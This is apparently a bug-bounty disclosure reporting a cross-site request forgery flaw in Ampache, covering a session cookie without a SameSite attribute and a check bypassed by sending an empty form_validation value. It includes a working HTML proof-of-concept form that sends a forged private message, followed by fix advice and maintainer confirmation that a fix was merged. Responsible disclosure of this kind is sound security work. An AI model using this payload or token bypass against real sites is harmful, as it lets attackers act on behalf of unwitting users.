Cross-Site Request Forgery (CSRF) in ampache/ampache

Valid

Reported on

Jul 24th 2021


✍️ Description

When you don't set the SameSite attribute of cookies the browsers have special act in front of this issue.(I mean set default value on it) chrome and chromium based browsers set the attribute "Lax" that mean if you do add/delete/alter operation in a get HTTP request then your site more vulnerable with CSRF attacks.

But Firefox ( one of big ones ) don't set this attribute to "Lax" and set it to "none" that makes all POST and GET requests more Vulnerable to CSRF attack.

In demo.apache.dev you don't set any SameSite attribute for your cookies. In develop.ampache.dev also you set SameSite attribute for all cookies to "Strict" that is good but for main session cookie that name "ampache" you didn't set any SameSite attribute.

Also you set a parameter that named from_validation then I put the of this parameter to nothings like this from_validation=&subject=..... and then I could bypass this protection too.

So in Firefox attacker can send any message to any user With CSRF attack that users already allowed manually do it.

🕵️‍♂️ Proof of Concept

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://develop.ampache.dev/pvmsg.php?action=add_message" method="POST">
      <input type="hidden" name="to&#95;user" value="demo" />
      <input type="hidden" name="subject" value="RE&#58;&#32;aaa" />
      <input type="hidden" name="message" value="fsdafsadfds&#13;&#10;&#13;&#10;&#45;&#45;&#45;&#13;&#10;&gt;&#32;aaaa" />
      <input type="hidden" name="form&#95;validation" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

💥 Impact

This vulnerability is capable send any message to any user that have high impact on Integrity of user interactions.

Fix

You should set SameSite attribute to Lax and don't use Get method for writing, Or use strict if you don't want to share cookies to any third party application.

lachlan
4 months ago

@admin can you ping me as a maintainer for this report?

Ziding Zhang
4 months ago

Admin


Hey lachlan, I've authorised you as the maintainer for this report, meaning you'll have rights for all future reports against ampache. Please let me know if you're still unable to view/interact with this page, thanks!

amammad
4 months ago

Researcher


Hi dear ampache team, if you want more help just tell me

lachlan validated this vulnerability 4 months ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
lachlan confirmed that a fix has been merged on efed4e 4 months ago
lachlan has been awarded the fix bounty